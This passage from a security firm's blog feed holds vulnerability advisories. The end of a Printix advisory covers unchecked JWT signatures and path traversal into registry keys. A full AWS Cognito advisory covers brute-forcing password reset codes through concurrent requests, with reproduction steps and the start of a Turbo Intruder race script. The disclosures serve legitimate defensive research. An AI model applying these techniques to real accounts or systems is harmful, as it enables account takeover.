&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-8" name="rest_code_8f85411862c74c40ab143bf346221bf4-8" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-8"&gt;&lt;/a&gt;     "queryString": "response_type=code&amp;amp;client_id=PrintixClient&amp;amp;client_secret=1234&amp;amp;state=user2&amp;amp;redirect_uri=http:\/\/localhost:21339\/oauth\/authorize&amp;amp;prompt=login" }
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-9" name="rest_code_8f85411862c74c40ab143bf346221bf4-9" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-9"&gt;&lt;/a&gt; }
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Usually, all these attributes of the payload cannot be modified, as servers also check the signature that is part of the JWT.
In the case of Printix however, this signature is not verified at all.
The signature can be replaced with any text and the server will still accept the token as valid.&lt;/p&gt;
&lt;p&gt;When changing the state attribute to the value of another user (user B), and replacing it with the original JWT in the URL-Parameter,
but afterwards signing in to Printix with the original Microsoft credentials (user A), the sign-in is confirmed by Printix.&lt;/p&gt;
&lt;p&gt;The Printix Service running on the system will, after signing in, replace the registry entries of the user B with the username of user A.
The consequence is that whenever user B prints a document, it will appear in the Printix online queue of user A.&lt;/p&gt;
&lt;p&gt;Further investigation with tampering of the JWT revealed that this also enables an attacker to write new registry keys
with &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt; privileges to different places.
When passing a path traversal, e.g. &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;..\\..\\foobar&lt;/span&gt;&lt;/code&gt; (escaped back-slashed), in the state field of the JWT, the Printix service will create registry keys at that location.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-2"&gt;
&lt;h4&gt;Precondition&lt;/h4&gt;
&lt;p&gt;An attacker has access to the system and the targeted user also has an account on the same machine and prints a document.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends installing security fixes once updates are provided by Printix. According to Printix, issues will be fixed in release 1.3.1169. However, this version has not been tested again.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Ole Diederich (Pentagrid).&lt;/p&gt;
&lt;!-- Hiring --&gt;
&lt;!-- - - - - - - - --&gt;
&lt;!--  --&gt;
&lt;!-- To extend our technical team at Pentagrid, we are looking for talented people with an interest in new things, passion for technology and commitment. Currently, we are looking for `Junior and Senior IT Security Analysts in Berlin and Buchs SG &lt;link://slug/career&gt;`_. --&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/</guid><pubDate>Thu, 18 Aug 2022 07:42:00 GMT</pubDate></item><item><title>Password reset code brute-force vulnerability in AWS Cognito</title><link>https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;The password reset function of AWS Cognito allows attackers to change the account password if a six-digit number (reset code) sent out by E-mail is correctly entered. By using concurrent HTTP request techniques, it was shown that an attacker can do more guesses on this number than mentioned in the AWS documentation (1587 instead of 20). If the attack succeeds and the attacked accounts do not have multi-factor authentication enabled, a full take-over of the attacked AWS Cognito user accounts would have been possible. The issue was fixed by AWS on 2021-04-20.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;An attacker who guessed the correct reset code can set a new password for the attacked AWS Cognito account. This allows attackers to take over the account that is not using additional multi-factor authentication.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2021-03-17: Discovery of the issue by Pentagrid&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-03-22: Initial contact of AWS security according to the &lt;a class="reference external" href="https://aws.amazon.com/security/vulnerability-reporting/"&gt;vulnerability reporting website&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-03-23: AWS responds the issue is being investigated, Pentagrid responds with vulnerability details&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-03-24: AWS requests more details, Pentagrid responds with more vulnerability details&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-03-25: AWS requests more details about late invalidation of password-reset codes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-03-26: Pentagrid responds with more details regarding late invalidation of password-reset codes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-01: AWS responds the issue is still being investigated&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-08: AWS responds the issue is still being investigated and asks for a phone call&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-13: to 2021-04-19: More E-mails regarding organisation of the phone call&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-22: Phone call between AWS security and Pentagrid AG: Issue has been fixed for all AWS customers on 2021-04-20&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-27: Pentagrid verifies the fix, only 20 code mismatches could be provoked.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-04-30: Advisory published&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;AWS Cognito user accounts are affected.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical details&lt;/h2&gt;
&lt;p&gt;AWS Cognito is an AWS Service that provides user account management. This includes a password reset functionality as a self-service for Cognito end-users.&lt;/p&gt;
&lt;p&gt;The attack described here assumes that the AWS Cognito service is directly exposed to the web without custom filtering in the program code of the AWS customer. This is likely to be a common configuration. In the setup that was tested, an AWS Lambda instance forwarded requests to the AWS Cognito service by using the Python Chalice library.&lt;/p&gt;
&lt;p&gt;If no attack happens, the user's workflow is as following:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;The user enters his account's E-mail address in the password forgotten web form&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The user receives an E-mail that includes a six digit password reset code (from now on this is referred to as "code")&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;By entering them into forms, the user sends the code, his account's E-mail address and a new password to the password forgotten functionality. This triggers the confirm_forgot_password function shown below.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As the code is the only secret value, it is crucial that an attacker can not guess its value. The codes have six digits, therefore the key space is 1'000'000, which corresponds to around 20 bits of security. As this is not sufficient from a generic security perspective because an attacker could potentially brute-force the code, AWS has to limit the number of times it can be entered.&lt;/p&gt;
&lt;p&gt;After the three-step process is done, the server will respond with one of the following responses:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;If the code is correct, the password for the account is immediately changed to the new value (HTTP 200 response)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the code is incorrect, the server responds with a &lt;cite&gt;cognito_client.exceptions.CodeMismatchException&lt;/cite&gt;, further referenced as &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt; (HTTP 500 response)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the confirm_forgot_password function was called too many times, the server responds with a &lt;cite&gt;cognito_client.exceptions.LimitExceededException&lt;/cite&gt;, further referenced as &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; (HTTP 500 response)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An internal server error if something went wrong, the source of this error is unknown to Pentagrid (HTTP 500 response)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An attacker would like to trigger the &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt; as many times as possible until the password is changed, without triggering the limit exceeded response. The &lt;a class="reference external" href="https://docs.aws.amazon.com/cognito/latest/developerguide/how-to-recover-a-user-account.html"&gt;AWS documentation about password resets of AWS Cognito&lt;/a&gt; accounts states:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In a given hour, we allow between 5 and 20 attempts for a user to request or enter
a password reset code as part of forgot-password and confirm-forgot-password actions.
The exact value depends on the risk parameters associated with the requests. Please
note that this behaviour is subject to change.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is no more information from AWS about how exactly the rate limiting is implemented. During our testing the behaviour of this rate limiting was non-deterministic in two ways:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;The amount of times the &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt; message could be triggered before a &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; message was received was non-deterministic. In our tests we were able to trigger between 20 and 1587 &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt; responses with the used concurrency technique.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even after the &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; message was received, this does not mean that the code was invalidated. Although an attacker has to wait until the AWS rate limiting cool-down is expired, he can then repeat the attack until a &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; value is received again. In our tests, the &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; could be received at least twice for the same code before the entire attack had to be restarted.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We were able to show that, using a concurrency technique that sends requests simultaneously, it was possible to try up to 1587 codes before being blocked with a &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; message for the first time. 1587 attempts corresponds to a 0.16 % chance to guess the correct code in one attack. As the attacks conducted allowed anywhere between 20 and 1587 guesses, it is unclear how successful an attacker would be if multiple user accounts would be attacked simultaneously.&lt;/p&gt;
&lt;p&gt;The approach we used is based on opening several hundred TCP connections simultaneously, send all bytes except the last byte in each of the HTTP requests and then try to simultaneously send the last byte of the requests at once. This technique was developed by &lt;a class="reference external" href="https://github.com/PortSwigger/turbo-intruder"&gt;James Kettle&lt;/a&gt; of PortSwigger and is described in the corresponding &lt;a class="reference external" href="https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack"&gt;blog post "Embracing the billion-request attack"&lt;/a&gt;. The attack was conducted by using the Turbo Intruder tool created by James Kettle. More specifically, the race.py script of Turbo Intruder was used.&lt;/p&gt;
&lt;p&gt;The Turbo Intruder setup is shown in the following picture:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202104_turbo_intruder.png"&gt;
&lt;img alt="Screenshot of the Burp Turbo Intruder showing the attack configuration." class="align-center" src="https://www.pentagrid.ch/images/202104_turbo_intruder.thumbnail.png"&gt;
&lt;/a&gt;
&lt;p&gt;For demonstration purposes, in some of the guesses sent during the attacks, the known correct code was sent which returned an HTTP 200 response, changing the password of the attacked account immediately, which proofed that the attack did work.&lt;/p&gt;
&lt;p&gt;The likelihood that an attack succeeds depends on how the undeterministic parts of AWS Cognito would behave during the attack, but we assume successful attacks would have been possible. First, a single attack with a 0.16 % chance means that every 625th attack would succeed. Second, the attack could be repeated at least once for the same code after the cool-down, meaning every 312th attack could succeed. Moreover, the entire attack could be repeated and additionally applied to different AWS Cognito user accounts in parallel to increase the likelihood to succeed at all.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="preconditions"&gt;
&lt;h2&gt;Preconditions&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The attacker's requests have to be forwarded to AWS Cognito quickly without disturbing the attack (e.g. no delays or heavy processing)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker has to know valid E-mail addresses with an account on the AWS Cognito instance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker has to be able to turn the attack into a feasible attack, for example by attacking many accounts at the same time or find a way to trigger the attacker's best-case situation more often and therefore improving the probabilities for the attacker.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacked accounts cannot have multi-factor authentication enabled, otherwise the attack fails (although the password will be changed, a login is not possible without the second factor).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacked user will get at least one E-mail and depending on how many times the attack is repeated will get several E-mails that include reset codes. The attacked user has to ignore the reset E-mails sent to his mailbox and not alert the AWS customer or AWS about the suspicious E-mails the user did not trigger himself.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The issue was fixed by AWS on 2021-04-20. According to AWS the issue was not actively exploited.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to all AWS Cognito customers to require multi-factor authentication on AWS Cognito accounts to improve security.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AWS customers can implement their own rate-limiting before sending requests to AWS Cognito.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="steps-to-reproduce"&gt;
&lt;h2&gt;Steps to reproduce&lt;/h2&gt;
&lt;p&gt;As the issues is fixed, it is not reproducible any more. But for future reference we include the steps here:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;Setup AWS Lambda with the Chalice library and the necessary AWS Cognito components. The Python program code used in the setup was similar to what is explained on &lt;a class="reference external" href="https://medium.com/@houzier.saurav/aws-cognito-with-python-6a2867dd02c6"&gt;this blog post about AWS cognito with Python&lt;/a&gt; but instead of the boto3 library the Chalice library was used. The concurrency and speed of the library might be important for the attack, as concurrency issues in the AWS Cognito service will be exploited. The attack was only tested with the Chalice library. Here is some pseudo-code that shows the most important function that was exploited during our research:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-1" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-1" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-1"&gt;&lt;/a&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;chalicelib.common.app&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-2" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-2" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-2"&gt;&lt;/a&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;chalicelib.common.auth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cognito_client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_hmac_digest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-3" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-3" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-3"&gt;&lt;/a&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-4" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-4" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-4"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# route the HTTP request to this function&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-5" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-5" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-5"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;confirm_forgot_password&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-6" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-6" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-6"&gt;&lt;/a&gt;    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current_request&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-7" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-7" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-7"&gt;&lt;/a&gt;    &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json_body&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-8" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-8" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-8"&gt;&lt;/a&gt;    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-9" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-9" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-9"&gt;&lt;/a&gt;    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-10" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-10" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-10"&gt;&lt;/a&gt;    &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'code'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-11" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-11" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-11"&gt;&lt;/a&gt;    &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_hmac_digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-12" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-12" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-12"&gt;&lt;/a&gt;    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cognito_client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;confirm_forgot_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-13" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-13" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-13"&gt;&lt;/a&gt;        &lt;span class="n"&gt;ClientId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;APP_CLIENT_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-14" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-14" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-14"&gt;&lt;/a&gt;        &lt;span class="n"&gt;SecretHash&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-15" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-15" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-15"&gt;&lt;/a&gt;        &lt;span class="n"&gt;Username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-16" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-16" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-16"&gt;&lt;/a&gt;        &lt;span class="n"&gt;Password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-17" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-17" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-17"&gt;&lt;/a&gt;        &lt;span class="n"&gt;ConfirmationCode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_7ef6cedaf0a646828531ec9709f8cd82-18" name="rest_code_7ef6cedaf0a646828531ec9709f8cd82-18" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_7ef6cedaf0a646828531ec9709f8cd82-18"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# Now make sure that the response from the AWS Cognito server is sent back in the response to the client of this API&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="2"&gt;
&lt;li&gt;&lt;p&gt;Setup an AWS Cognito user account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request a password reset via E-mail for the AWS Cognito user account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Prepare BurpSuite that allows you to repeat HTTP requests.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send an HTTP request to the confirm_forgot_password AWS Lambda function with an incorrect code, some new password you would like to set and the correct username of the AWS Cognito user account (for example the E-mail address). Make sure you also see the request in BurpSuite. You get an HTTP response that includes &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send an HTTP request to the confirm_forgot_password AWS Lambda function with a correct code. You should get an HTTP response with no error message in it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send the incorrect code HTTP request from point 5 about 30 times (e.g. Repeater functionality in BurpSuite). At one point you should get the error &lt;cite&gt;cognito_client.exceptions.LimitExceededException&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wait several hours or use a different AWS Cognito user account, so the limit exceeded does not apply any more.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request a password reset via E-mail for the AWS Cognito user account&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install Turbo Intruder in BurpSuite.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send the HTTP request that is sent to the confirm_forgot_password AWS Lambda function to Turbo Intruder.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Choose the &lt;code class="docutils literal"&gt;race.py&lt;/code&gt; preinstalled script of Turbo Intruder.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Replace the code in the HTTP request (for example 123123) with %s to tell Turbo Intruder where to inject&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Replace the &lt;code class="docutils literal"&gt;race.py&lt;/code&gt; script part with the following script:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-1" name="rest_code_b1abb3239d134933b31e065f7de8cee4-1" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-1"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;queueRequests&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wordlists&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-2" name="rest_code_b1abb3239d134933b31e065f7de8cee4-2" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-2"&gt;&lt;/a&gt;    &lt;span class="n"&gt;tries&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-3" name="rest_code_b1abb3239d134933b31e065f7de8cee4-3" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-3"&gt;&lt;/a&gt;    &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RequestEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-4" name="rest_code_b1abb3239d134933b31e065f7de8cee4-4" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-4"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;concurrentConnections&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tries&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
